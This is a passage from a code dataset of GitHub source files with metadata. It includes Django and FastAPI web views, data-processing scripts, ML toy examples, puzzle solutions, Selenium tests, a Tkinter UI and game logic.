reverse_lazy in order to be loaded once all the urls are loaded\n return HttpResponseRedirect(reverse_lazy('restaurants:details', args=[restaurant.id]))\n return render(request, 'restaurants/details.html', {'form': form})\n\n\nclass EditReview (LoginRequiredMixin, UpdateView):\n template_name = 'restaurants/review_edit.html'\n form_class = EditReviewForm\n model = UserReview\n slug = 'review'\n # Post the data into the DB\n def post(self, request, pk, *args, **kwargs):\n obj = get_object_or_404(UserReview, pk=pk)\n form = UserReviewForm(request.POST, instance=obj)\n restaurant = obj.restaurant\n if form.is_valid () and self.request.user == obj.posted_by:\n edit_review = form.save(commit=False)\n form.instance.posted_by = self.request.user\n print(edit_review) # Print so I can see in cmd prompt that something posts as it should\n edit_review.save()\n return HttpResponseRedirect(reverse_lazy('restaurants:details', args=[restaurant.id]))\n return render(request, 'restaurants/not_authorized.html')\n\n# This view allows user to use a basic filtering search for restaurants:\nclass SearchResults(ListView):\n model = Restaurant\n template_name = 'restaurants/search.html'\n\n def get_queryset(self): # new\n q = self.request.GET.get('q')\n object_list = Restaurant.objects.filter(\n Q(restaurant_name__icontains=q) | Q(restaurant_city__icontains=q) | Q(restaurant_category__icontains=q) |\n Q(restaurant_cuisine_type__icontains=q))\n print(q)\n return object_list\n\n\ndef welcome(request):\n template = loader.get_template('restaurants/welcome.html')\n context={}\n return HttpResponse(template.render(context, request))\n\ndef not_authorized(request):\n template = loader.get_template('restaurants/not_authorized.html')\n context = {}\n return HttpResponse(template.render(context, request))\n","repo_name":"BaptisteVan1/WSB_Project","sub_path":"restaurants/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15795850202","text":"\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\n\nclass MyRandomDataSet(Dataset):\n def __init__(self,dim1,dim2,numDataPoints,numLabels,numColorChannels=3,seedToUse = None):\n self.dim1 = dim1\n self.dim2 = dim2\n self.numDataPoints = numDataPoints\n self.seed = seedToUse\n self.numLabels = numLabels\n if self.seed:\n torch.seed(self.seed)\n self.images = torch.randn(numDataPoints,numColorChannels,dim1,dim2)\n self.labels = torch.randint(0,numLabels,(numDataPoints,))\n\n def __len__(self):\n return self.numDataPoints\n\n\n def __getitem__(self,idx):\n return (self.images[idx],self.labels[idx])\n\n\nif __name__ == \"__main__\":\n dim1 = 10\n dim2 = 20\n n = 100\n nlabels = 10\n aRandomDataset = MyRandomDataSet(dim1,dim2,n,nlabels)\n myLoader = DataLoader(aRandomDataset,batch_size=10,shuffle=True)\n for batchindex,(data,target) in enumerate(myLoader):\n print(batchindex)\n print(data.shape)\n print(target.shape)\n print('done')\n","repo_name":"1austrartsua1/bnl_misc","sub_path":"ddp_scale_exps/python_src/randomDataLoader.py","file_name":"randomDataLoader.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71505074002","text":"import numpy as np\r\nimport csv\r\nimport pandas as pd\r\nimport sys\r\n\r\n\r\ndef main():\r\n\r\n\r\n abs_file_path = \"C:/Users/Richard/Desktop/revised_Datathon/revised_Datathon.csv\" # give exact path name for mosquito data to import\r\n\r\n data = pd.read_csv(abs_file_path)\r\n\r\n\r\n labels = ['chlamydia', 'gential_warts', 'gonorrhea', 'herpes', 'hpv', 'other_std', 'parasitic', 'std_screen', 'syphilis', 'trich']\r\n\r\n for u in range(10):\r\n\r\n tempData = data.drop(data.columns[69:79], axis=1)\r\n\r\n\r\n\r\n\r\n\r\n\r\n df = data[labels[u]].to_frame()\r\n\r\n\r\n\r\n\r\n tempData = pd.concat([tempData, df], axis=1)\r\n\r\n\r\n\r\n #filtered_df = tempData[tempData[labels[u]].notna()]\r\n filtered_df = tempData.dropna()\r\n #print(tempData.values[11,:])\r\n\r\n #print(tempData[labels[u]].notna())\r\n #print(labels[u])\r\n print(filtered_df.shape)\r\n tempData = filtered_df.values.tolist()\r\n\r\n\r\n\r\n\r\n\r\n\r\n # export newly compiled data to a new .csv file\r\n filename = '/Users/Richard/Desktop/Datathon_dataset'+str(u)+'.csv'\r\n myFile = open(filename, 'w')\r\n with myFile:\r\n writer = csv.writer(myFile)\r\n writer.writerows(tempData)\r\n\r\n\r\n\r\n\r\n\r\nmain()","repo_name":"abhishekroushan/blueprint_datathon","sub_path":"DatathonCreate10DataFrames.py","file_name":"DatathonCreate10DataFrames.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"70680672401","text":"from functools import lru_cache\nfrom logging import getLogger\n\nfrom pypey import pype, Fn, px, TOTAL\n\nfrom autoclean import Seq\nfrom autoclean.models import ngram_cost_fn_from, rnn_cost_fn_from\nfrom autoclean.segmentation import CACHE\nfrom autoclean.segmentation.segmenters import viterbi\nfrom autoclean.segmentation.splitters import string_splits\n\nBOS = '·'\nEOS = '⎵'\n\nLOG = getLogger(__package__)\n\n\ndef segment(in_path: str, out_path: str, corpus_path: str, lm: str, smoothed: bool):\n \"\"\"\n Segments sequences in given input path and writes the resulting segmentation to the given output path.\n\n :param in_path: path to file with sequences to be segmented\n :param out_path: path to file to write segmentations to\n :param corpus_path: path to file with data to train the probabilistic model with\n :param lm: the type of language model: rnn, unigram, bigram, trigram, fourgram, fivegram or sixgram\n :param smoothed: whether the ngram language model should be smoothed, ignored for an rnn language model\n :return: nothing, but writes to file and console\n \"\"\"\n LOG.info(f'Reading in corpus from [{corpus_path}] ...')\n corpus = (pype\n .file(corpus_path)\n .map(str.strip)\n .map(str.split)\n .map(tuple)\n .eager())\n\n if lm == 'rnn':\n LOG.info(f'Estimating rnn language model from [{corpus_path}] ...')\n cost_fn = px(rnn_cost_of, lm=rnn_cost_fn_from(corpus))\n else:\n order = int(lm)\n LOG.info(f'Estimating [{order + 1}]-ngram language model from [{corpus_path}] ...')\n cost_fn = px(ngram_cost_of, lm=ngram_cost_fn_from(corpus, order, smoothed), order=order)\n\n LOG.info(f'Segmenting and saving to [{out_path}] ...')\n all_words = corpus.flat().to(set) | {BOS, EOS}\n splitting_fn = px(string_splits, is_valid=all_words.__contains__)\n\n LOG.info(f'Reading in file to segment from [{in_path}] ...')\n (pype\n .file(in_path)\n .map(str.strip)\n .map(lambda sent: BOS + ''.join(sent.split()) + EOS)\n .map(tuple)\n .map(lambda sent: viterbi(sent, cost_fn, splitting_fn))\n .map(lambda seg: ' '.join(seg)[1:-1].strip())\n .to_file(out_path))\n\n LOG.info('Done.')\n\n\ndef evaluate(in_path: str, gold_path: str):\n \"\"\"\n Evaluates the per-sentence accuracy of a segmentation\n\n :param in_path: path to file with proposed segmented sequences\n :param gold_path: path to file with true segmented sequences, must be the same size as the input path\n :return: nothing, but writes to console\n \"\"\"\n LOG.info(f'Reading segmented text from [{in_path}] ...')\n LOG.info(f'Reading gold standard text from [{gold_path}] ...')\n\n item_to_count_freq = (pype\n .file(in_path)\n .zip(pype.file(gold_path).map(str.strip))\n .map(lambda seg, gold: seg == gold)\n .freqs()\n .map(lambda item, count, freq: (item, (count, freq)))\n .to(dict))\n\n if True not in item_to_count_freq:\n item_to_count_freq[True] = 0, 0.\n\n LOG.info(f'Accuracy: [{item_to_count_freq[True][-1]:.2%}], '\n f'[{item_to_count_freq[True][0]:6,d}] correct out of [{item_to_count_freq[TOTAL][0]:6,d}] sequences')\n\n LOG.info('Done.')\n\n\n@lru_cache(maxsize=CACHE)\ndef rnn_cost_of(sequence: Seq, lm: Fn) -> float:\n return lm(sequence) / len(sequence)\n\n\ndef ngram_cost_of(sequence: Seq, lm: Fn, order: int) -> float:\n return unnormed_ngram_cost_of(sequence, lm, order=order) / len(sequence)\n\n\n@lru_cache(maxsize=CACHE)\ndef unnormed_ngram_cost_of(sequence: Seq, lm: Fn, order: int) -> float:\n if len(sequence) == 1:\n return lm(sequence)\n\n return unnormed_ngram_cost_of(sequence[:-1], lm, order) + lm(sequence)\n","repo_name":"JoseLlarena/autoclean","sub_path":"autoclean/segmentation/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3822,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"14228376276","text":"#!/usr/bin/env python\nimport string\n\npriority = list(string.ascii_letters)\n\ndef main():\n with open('puzzle_input.txt', 'r') as sacks_file:\n sacks_lines = sacks_file.read().splitlines()\n\n priority_sum = 0\n for i, sack in enumerate(sacks_lines):\n group_index = i % 3\n if group_index == 0:\n # first elf in group\n elf_group = []\n elf_group.append(sack)\n if group_index == 2:\n # third elf in group\n badge = list(\n set(elf_group[0]) &\n set(elf_group[1]) &\n set(elf_group[2]))[0]\n priority_sum += priority.index(badge) + 1\n\n print('Sum of priorities:', priority_sum)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"robro/aoc2022","sub_path":"3/3b.py","file_name":"3b.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"75199924242","text":"import datetime\nfrom fastapi import APIRouter, Depends\nfrom app.models.users.personal_data import PersonalData\n\nfrom app.services.schedule.dao import ScheduleDaO\nfrom app.services.doctors.dao import DoctorsDAO\nfrom app.services.users.dependencies import get_personal_data\nfrom app.services.appointments.dao import AppointmentsDAO\nfrom app.services.patients.dao import PatientsDAO\nfrom app.services.users.schemas import SExtendedUser\nfrom app.services.appointments.schemas import (\n SAppointmentsWithPatientInfo,\n SNewAppointmentIn,\n SNewAppointmentOut,\n)\nfrom app.services.appointments.dependencies import get_free_appointments\nfrom app.services.doctors.schemas import SAvailableAppointments\nfrom pydantic import TypeAdapter\nfrom app.common.exceptions import AppointmentNotAvailableException\n\nrouter = APIRouter(prefix=\"/api/appointments\", tags=[\"Записи на прием\"])\n\n\n@router.get(\"\")\nasync def get_patient_info_and_appointments(\n pd: PersonalData = Depends(get_personal_data),\n) -> SAppointmentsWithPatientInfo:\n patient = await PatientsDAO.get_one_or_none(pd_id=pd.id)\n appointments = await AppointmentsDAO.get_patient_appointments(patient_id=patient.id)\n personal_data = TypeAdapter(SExtendedUser).validate_python(pd).model_dump()\n return {\"personal_data\": personal_data, \"appointments\": appointments}\n\n\n@router.get(\"/available\")\nasync def get_available_appointments(\n available_appointments: list[SAvailableAppointments] = Depends(\n get_free_appointments\n ),\n) -> list[SAvailableAppointments]:\n return available_appointments\n\n\ndef _convert_date_time(date_time: datetime.datetime) -> datetime.datetime:\n return date_time.replace(tzinfo=None) + datetime.timedelta(hours=3)\n\n\ndef _check_hours_and_minutes(date_time: datetime.datetime):\n if date_time.minute != 0 or date_time.second != 0:\n raise AppointmentNotAvailableException\n\n\nasync def _check_date_time_is_in_schedule(date_time: datetime.datetime):\n schedule_check: bool = await ScheduleDaO.check_date(date_time)\n if not schedule_check:\n raise AppointmentNotAvailableException\n\n\nasync def _check_appointment_dont_exist(appointment: SNewAppointmentIn):\n appointment_check: bool = await AppointmentsDAO.check_appointment(\n appointment.date_time, appointment.doctor_id\n )\n if not appointment_check:\n raise AppointmentNotAvailableException\n\n\nasync def _get_doctor_personal_data(_id: int):\n doctor_pd = await DoctorsDAO.get_personal_data(_id)\n if not doctor_pd:\n raise AppointmentNotAvailableException\n return doctor_pd\n\n\nasync def _add_new_appointment(patient_id, new_appointment: SNewAppointmentIn):\n appointment = await AppointmentsDAO.add(patient_id, new_appointment)\n if not appointment:\n raise AppointmentNotAvailableException\n return appointment\n\n\n@router.post(\"/book\")\nasync def book_appointment(\n new_appointment: SNewAppointmentIn, pd: PersonalData = Depends(get_personal_data)\n) -> SNewAppointmentOut:\n new_appointment.date_time = _convert_date_time(new_appointment.date_time)\n _check_hours_and_minutes(new_appointment.date_time)\n await _check_date_time_is_in_schedule(new_appointment.date_time)\n await _check_appointment_dont_exist(new_appointment)\n doctor_pd = await _get_doctor_personal_data(new_appointment.doctor_id)\n patient = await PatientsDAO.get_one_or_none(pd_id=pd.id)\n appointment = await _add_new_appointment(patient.id, new_appointment)\n return SNewAppointmentOut(\n full_name=doctor_pd.full_name,\n date_time=appointment.date_time,\n status=appointment.status,\n )\n","repo_name":"deathlokmike/clinic","sub_path":"app/controllers/appointments.py","file_name":"appointments.py","file_ext":"py","file_size_in_byte":3621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10805943077","text":"# -*- coding: utf -8 -*-\nimport csv\nimport numpy as np\n\n\ndef read_csv(filename=\"dane.csv\"):\n f = open(filename)\n dane = f.read()\n dane = dane.split(\"\\n\")\n dane = [l.split(\",\") for l in dane]\n f.close()\n return dane\n\n\ndef prepare_data(dane):\n xdata = []\n ydata = []\n\n header = dane.pop(0)\n dane.pop()\n for x in range(len(dane)):\n xdata.append(float(dane[x][0]))\n ydata.append(float(dane[x][1]))\n xdata = np.array(xdata)\n ydata = np.array(ydata)\n return xdata, ydata\n","repo_name":"ArturN90/PolyFitter","sub_path":"read_csv.py","file_name":"read_csv.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35175670066","text":"#!/usr/bin/python3 \n# -*- coding: utf-8 -*-\n# @File : UT05.py\n# @Author : Baoshun.Chin\n# @Time : 2020-12-31 22:07\n# @Site : \n# @version : V1.0\n\n'''\nunittest\npytest\nmock\n'''\n\nimport unittest\nfrom selenium import webdriver\nimport time as t\n\nclass BaiduTest(unittest.TestCase):\n @classmethod\n def setUpClass(cls) :\n cls.driver = webdriver.Chrome()\n cls.driver.maximize_window()\n cls.driver.implicitly_wait(30)\n cls.driver.get('http://www.baidu.com')\n # now_handle = cls.driver.current_window_handle\n # cls.driver.switch_to_window(now_handle)\n\n @classmethod\n def tearDownClass(cls):\n cls.driver.quit()\n\n '''百度首页链接测试'''\n def test_baidu_001(self):\n '''百度首页测试:验证新闻的链接'''\n self.driver.find_element_by_link_text('新闻').click()\n self.driver.forward()\n\n def test_baidu_002(self):\n '''百度首页测试:验证地图的链接'''\n self.driver.find_element_by_partial_link_text('图').click()\n self.driver.forward()\n\n '''百度首页搜索的测试'''\n def test_baidu_003(self):\n '''百度首页搜的测试:验证搜索'''\n self.driver.find_element_by_id('kw').send_keys('webdriver')\n self.driver.forward()\n\nif __name__ == '__main__':\n # unittest.main(verbosity=2)\n suite = unittest.TestSuite()\n suite.addTest(BaiduTest('test_baidu_001'))\n suite.addTest(BaiduTest('test_baidu_002'))\n suite.addTest(BaiduTest('test_baidu_003'))\n unittest.TextTestRunner(verbosity=2).run(suite)","repo_name":"chenbaoshun/AutomationTesting","sub_path":"AutoInerface_project/Day10_UnitTest/UT05.py","file_name":"UT05.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41372859695","text":"# brute force go brrr\n\nfav = int(input())\nplayed = int(input())\n\n# could use itertools.combinations (and set instead of list)\ngames = [(1, 2), (1, 3), (1, 4), (2, 3), (2, 4), (3, 4)]\nscores = [-1, 0, 0, 0, 0] # -1 is placeholder, the teams are indices 1-4\n\nfor i in range(played): # process input\n a, b, score_a, score_b = map(int, input().split())\n games.remove((a, b)) # a < b so no need to try (b, a)\n if score_a > score_b:\n scores[a] += 3\n elif score_a == score_b:\n scores[a] += 1\n scores[b] += 1\n else:\n scores[b] += 3\n\n# do a DFS on the remaining possibilities\nstack = [(scores, games)]\nwin_possibilities = [(0, 3), (3, 0), (1, 1)] # possible points gained for a game\nres = 0\n\nwhile stack:\n state, games = stack.pop()\n # if all games have been played, check if team \"fav\" is winning\n if not games:\n win = True\n for i in range(len(state)):\n if state[i] >= state[fav] and i != fav:\n win = False\n break\n if win:\n res += 1\n continue\n\n a, b = games.pop()\n for a_points, b_points in win_possibilities:\n new_state = state.copy()\n new_state[a] += a_points\n new_state[b] += b_points\n # copy of games is needed otherwise modifying one array will change all others including the ones in the queue\n stack.append((new_state, games.copy()))\n\nprint(res)\n","repo_name":"A-stick-bug/CCC","sub_path":"2013/CCC '13 S3 - Chances of Winning.py","file_name":"CCC '13 S3 - Chances of Winning.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"8991715782","text":"# Author: RT\n# Date: 2022-09-23T05:34:51.282Z\n# URL: https://leetcode.com/problems/concatenation-of-consecutive-binary-numbers/\n\n\nclass Solution:\n def concatenatedBinary(self, n: int) -> int:\n M = 1_000_000_007\n ans = 0\n offset = 0 # cumulative offset before concat\n for num in range(1, n + 1):\n # whenever num becomes power of 2, the offset to shift will\n # increase by 1, check if num is power of 2\n if num & (num - 1) == 0:\n offset += 1\n\n ans = (ans << offset | num) % M\n\n return ans % M\n","repo_name":"Roytangrb/dsa","sub_path":"leetcode/python/1680-concatenation-of-consecutive-binary-numbers.py","file_name":"1680-concatenation-of-consecutive-binary-numbers.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"2575385047","text":"import pytest\nfrom util.solver_workflow import new_solver_session # noqa: F401\n\nfrom ansys.fluent.core.examples import download_file\n\n\n@pytest.mark.nightly\n@pytest.mark.fluent_version(\">=23.1\")\ndef test_setup_models_viscous_model_settings(new_solver_session) -> None:\n solver_session = new_solver_session\n case_path = download_file(\"elbow_source_terms.cas.h5\", \"pyfluent/mixing_elbow\")\n solver_session.file.read_case(file_name=case_path)\n solver_session.solution.initialization.hybrid_initialize()\n\n viscous_model = solver_session.setup.models.viscous\n\n assert viscous_model.model() == \"k-epsilon\"\n assert \"inviscid\" in viscous_model.model.get_attr(\"allowed-values\")\n viscous_model.model = \"inviscid\"\n\n assert viscous_model.model() == \"inviscid\"\n\n\n@pytest.mark.nightly\n@pytest.mark.fluent_version(\">=24.1\")\ndef test_wildcard(new_solver_session):\n solver = new_solver_session\n case_path = download_file(\"elbow_source_terms.cas.h5\", \"pyfluent/mixing_elbow\")\n solver.file.read_case(file_name=case_path)\n boundary_conditions = solver.setup.boundary_conditions\n assert boundary_conditions.velocity_inlet[\"inl*\"].momentum.velocity() == {\n \"inlet2\": {\"momentum\": {\"velocity\": {\"option\": \"value\", \"value\": 15}}},\n \"inlet1\": {\"momentum\": {\"velocity\": {\"option\": \"value\", \"value\": 5}}},\n }\n assert boundary_conditions.velocity_inlet[\"inl*\"].momentum.velocity.value() == {\n \"inlet2\": {\"momentum\": {\"velocity\": {\"value\": 15}}},\n \"inlet1\": {\"momentum\": {\"velocity\": {\"value\": 5}}},\n }\n boundary_conditions.velocity_inlet[\"inl*\"].momentum.velocity = 10\n assert boundary_conditions.velocity_inlet[\"inl*\"].momentum.velocity() == {\n \"inlet2\": {\"momentum\": {\"velocity\": {\"option\": \"value\", \"value\": 10}}},\n \"inlet1\": {\"momentum\": {\"velocity\": {\"option\": \"value\", \"value\": 10}}},\n }\n boundary_conditions.velocity_inlet = boundary_conditions.velocity_inlet[\n \"inl*\"\n ].momentum.velocity()\n assert boundary_conditions.velocity_inlet[\"inl*\"].momentum.velocity() == {\n \"inlet2\": {\"momentum\": {\"velocity\": {\"option\": \"value\", \"value\": 10}}},\n \"inlet1\": {\"momentum\": {\"velocity\": {\"option\": \"value\", \"value\": 10}}},\n }\n cell_zone_conditions = solver.setup.cell_zone_conditions\n assert cell_zone_conditions.fluid[\"*\"].source_terms.source_terms[\"*mom*\"]() == {\n \"fluid\": {\n \"source_terms\": {\n \"source_terms\": {\n \"x-momentum\": [{\"option\": \"value\", \"value\": 1}],\n \"y-momentum\": [{\"option\": \"value\", \"value\": 2}],\n \"z-momentum\": [{\"option\": \"value\", \"value\": 3}],\n }\n }\n }\n }\n cell_zone_conditions.fluid[\"*\"].source_terms.source_terms[\"*mom*\"] = [\n {\"option\": \"value\", \"value\": 2}\n ]\n assert cell_zone_conditions.fluid[\"*\"].source_terms.source_terms[\"*mom*\"]() == {\n \"fluid\": {\n \"source_terms\": {\n \"source_terms\": {\n \"x-momentum\": [{\"option\": \"value\", \"value\": 2}],\n \"y-momentum\": [{\"option\": \"value\", \"value\": 2}],\n \"z-momentum\": [{\"option\": \"value\", \"value\": 2}],\n }\n }\n }\n }\n\n\n@pytest.mark.nightly\n@pytest.mark.fluent_version(\">=23.2\")\ndef test_wildcard_fnmatch(new_solver_session):\n solver = new_solver_session\n case_path = download_file(\"elbow_source_terms.cas.h5\", \"pyfluent/mixing_elbow\")\n solver.file.read_case(file_name=case_path)\n\n solver.solution.initialization.hybrid_initialize()\n\n mesh = solver.results.graphics.mesh\n mesh.create(\"mesh-2\")\n mesh.create(\"mesh-a\")\n mesh.create(\"mesh-bc\")\n\n assert sorted(mesh[\"mesh-*\"]()) == sorted([\"mesh-1\", \"mesh-2\", \"mesh-a\", \"mesh-bc\"])\n\n assert list(mesh[\"mesh-?c\"]().keys()) == [\"mesh-bc\"]\n\n assert list(mesh[\"mesh-[2-5]\"]().keys()) == [\"mesh-2\"]\n\n assert sorted(mesh[\"mesh-[!2-5]\"]()) == sorted([\"mesh-1\", \"mesh-a\"])\n\n\n@pytest.mark.nightly\n@pytest.mark.fluent_version(\">=23.2\")\ndef test_wildcard_path_is_iterable(new_solver_session):\n solver = new_solver_session\n case_path = download_file(\"elbow_source_terms.cas.h5\", \"pyfluent/mixing_elbow\")\n solver.file.read_case(file_name=case_path)\n\n velocity_inlet = solver.setup.boundary_conditions.velocity_inlet\n assert [x for x in velocity_inlet] == [\"inlet2\", \"inlet1\"]\n assert [x for x in velocity_inlet[\"*let*\"]] == [\"inlet2\", \"inlet1\"]\n assert [x for x in velocity_inlet[\"*1*\"]] == [\"inlet1\"]\n\n test_data = []\n for k, v in velocity_inlet.items():\n test_data.append((k, v))\n\n assert test_data[0][0] == \"inlet2\"\n assert test_data[0][1].path == r\"setup/boundary-conditions/velocity-inlet/inlet2\"\n assert test_data[1][0] == \"inlet1\"\n assert test_data[1][1].path == r\"setup/boundary-conditions/velocity-inlet/inlet1\"\n\n test_data = []\n for k, v in velocity_inlet[\"*let*\"].items():\n test_data.append((k, v))\n\n assert test_data[0][0] == \"inlet2\"\n assert test_data[0][1].path == r\"setup/boundary-conditions/velocity-inlet/inlet2\"\n assert test_data[1][0] == \"inlet1\"\n assert test_data[1][1].path == r\"setup/boundary-conditions/velocity-inlet/inlet1\"\n\n\n@pytest.mark.fluent_version(\">=23.1\")\ndef test_api_upgrade(new_solver_session, capsys):\n solver = new_solver_session\n case_path = download_file(\"Static_Mixer_main.cas.h5\", \"pyfluent/static_mixer\")\n solver.tui.file.read_case(case_path)\n \".file.read_case\" in capsys.readouterr().out\n","repo_name":"ansys/pyfluent","sub_path":"tests/test_settings_api.py","file_name":"test_settings_api.py","file_ext":"py","file_size_in_byte":5540,"program_lang":"python","lang":"en","doc_type":"code","stars":175,"dataset":"github-code","pt":"3"} +{"seq_id":"23043654391","text":"# Tkinter : inbuilt python module which is used to create GUI applacation\nfrom tkinter import *\n\nsc = Tk() # screen tkinter store\nsc.geometry(\"600x300\") # w x h\nsc.title(\"MY APP\")\n\nlbl_var = StringVar()\n\ndef mychoice(msg):\n \n lbl_var.set(msg)\n\n# lbl = Label(sc,text=\"Welcome to Tkinter\",font=('arial',26,'bold'))\n# lbl.place(x=10,y=10)\n\nbtn1 = Button(sc,text=\"ROCK\",font=('arial',26,'bold'),activebackground=\"blue\",activeforeground=\"White\",command=lambda :mychoice(\"ROCK\"))\nbtn1.place(x=10,y=10)\n\nbtn2 = Button(sc,text=\"PAPER\",font=('arial',26,'bold'),activebackground=\"blue\",activeforeground=\"White\",command=lambda :mychoice(\"PAPER\"))\nbtn2.place(x=160,y=10)\n\nbtn3 = Button(sc,text=\"SCISSOR\",font=('arial',26,'bold'),activebackground=\"blue\",activeforeground=\"White\",command=lambda :mychoice(\"SCISSOR\"))\nbtn3.place(x=340,y=10)\n\nlbl = Label(sc,textvariable=lbl_var,font=('arial',26,'bold'))\nlbl.place(x=10,y=120)\n\n\n\nsc.mainloop()","repo_name":"RKPatel24/R.K_Patel","sub_path":"Python/Daily Task/Python/TKINTER_EXAMPLE/SAMPLE.py","file_name":"SAMPLE.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11197566726","text":"#! /usr/bin/env python\nimport time\nfrom threading import Event\n\nfrom launch_time import LaunchTimeBenchmark, DefaultLaunchTimeHandler\n\n\nclass StartupBenchmark(LaunchTimeBenchmark):\n def initialize(self):\n self.benchmark_description = 'Measure startup time of a given browser.'\n self.response_handler = StartupBenchmark.ResponseHandler(self)\n self.start_time = None\n self.stop_time = None\n self.stop_signal_was_received = Event()\n\n def run_iteration(self):\n self.start_time = time.time() * 1000\n self.open_tab()\n while self.stop_time is None:\n self.stop_signal_was_received.wait()\n result = self.stop_time - self.start_time\n self.stop_time = None\n self.stop_signal_was_received.clear()\n self.quit_browser()\n return result\n\n def get_test_name(self):\n return \"StartupBenchmark\"\n\n @staticmethod\n def ResponseHandler(startup_benchmark):\n class Handler(DefaultLaunchTimeHandler):\n def get_test_page(self):\n return '''\n \n \n Startup Benchmark\n \n \n \n \n

Startup Benchmark

\n \n \n '''\n\n def on_receive_stop_signal(self, data):\n startup_benchmark.stop_time = float(data)\n startup_benchmark.stop_signal_was_received.set()\n\n return Handler\n\n\nif __name__ == '__main__':\n StartupBenchmark().run()\n","repo_name":"WebKit/WebKit","sub_path":"PerformanceTests/LaunchTime/startup.py","file_name":"startup.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"en","doc_type":"code","stars":6880,"dataset":"github-code","pt":"3"} +{"seq_id":"3618456923","text":"answer_1 = [1, 2, 3, 4, 5]\nanswer_2 = [2, 1, 2, 3, 2, 4, 2, 5]\nanswer_3 = [3, 3, 1, 1, 2, 2, 4, 4, 5, 5]\n\ndef solution(answers):\n answer = []\n marks = [0, 0, 0]\n\n # range(5) = 0, 1, 2, 3, 4, 5, 6, 7\n\n for i in range(len(answers)):\n \n if answers[i] == answer_1[i % 5]:\n marks[0] += 1\n \n if answers[i] == answer_2[i % 8]:\n marks[1] += 1\n\n if answers[i] == answer_3[i % 10]:\n marks[2] += 1\n\n max_mark = max(marks)\n\n return [id + 1 for (mark, id) in zip(marks, range(3)) if mark == max_mark]\n\n\nprint(solution([1,2,3,4,5]))\nprint(solution([1,3,2,4,2]))","repo_name":"lee-gyu/happy_algorithm","sub_path":"20_03_March/0323_recursive/programmers_gc_42840.py","file_name":"programmers_gc_42840.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32539889612","text":"import tensorflow as tf\nimport numpy as np\n\n# create data\nx_data = np.random.rand(500).astype(np.float16)\ny_data = 300 * x_data + 10 # y = 300x + 10\n\n### create tensorflow structure start ###\na = tf.Variable(tf.random_uniform([1], -1000, 1000))\nb = tf.Variable(tf.zeros([1]))\ny = a*x_data + b\n\nloss = tf.reduce_mean(tf.square(y-y_data)) # (y-y_data)^2\noptimizer = tf.train.GradientDescentOptimizer(0.5)\ntrain = optimizer.minimize(loss)\n### create tensorflow structure end ###\n\nsess = tf.Session()\ninit = tf.global_variables_initializer()\nsess.run(init)\n\nfor step in range(201):\n sess.run(train)\n if step % 20 == 0:\n print(step, sess.run(a), sess.run(b))\n\n","repo_name":"ghalbertryu/python_learning","sub_path":"Tensorflow/#5 Sample.py","file_name":"#5 Sample.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"30116864047","text":"from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\nfrom ...core.objects.monster import DMMonster\nfrom ...core.objects.relic import DMRelic\nfrom utilities import UnlockPack\n\nif TYPE_CHECKING:\n from dm.core.game.game import DMGame\n from dm.core.contexts import StatusExecutionContext\n################################################################################\n\n__all__ = (\"LittleSwampMonster\",)\n\n################################################################################\nclass LittleSwampMonster(DMRelic):\n\n def __init__(self, state: DMGame):\n\n super().__init__(\n state,\n _id=\"REL-324\",\n name=\"Little Swamp Monster\",\n description=\"Slow effect that monster gets is reduced to 30 %.\",\n rank=5,\n unlock=UnlockPack.Adventure\n )\n\n################################################################################\n def on_acquire(self) -> None:\n \"\"\"Called automatically when a relic is added to the player's inventory.\"\"\"\n\n self.listen(\"status_execute\")\n\n################################################################################\n def effect_value(self) -> float:\n \"\"\"The value of this relic's effect.\"\"\"\n\n return 0.20 # 20% reduced effectiveness equals 30%\n\n################################################################################\n def notify(self, ctx: StatusExecutionContext) -> None:\n \"\"\"A general event response function.\"\"\"\n\n if ctx.status.name == \"Slow\":\n if isinstance(ctx.target, DMMonster):\n ctx.status.reduce_base_effect(self.effect_value())\n\n################################################################################\n","repo_name":"AllegroVivo/DungeonDefense","sub_path":"dm/relics/FiveStar/LittleSwampMonster.py","file_name":"LittleSwampMonster.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21454230067","text":"import pytest\n\nfrom pycaption import (\n WebVTTReader, WebVTTWriter, SAMIReader, DFXPReader,\n CaptionReadNoCaptions, CaptionReadError, CaptionReadSyntaxError,\n)\nfrom tests.mixins import ReaderTestingMixIn\n\n\nclass TestWebVTTReader(ReaderTestingMixIn):\n def setup_method(self):\n self.reader = WebVTTReader()\n\n def test_positive_answer_for_detection(self, sample_webvtt):\n 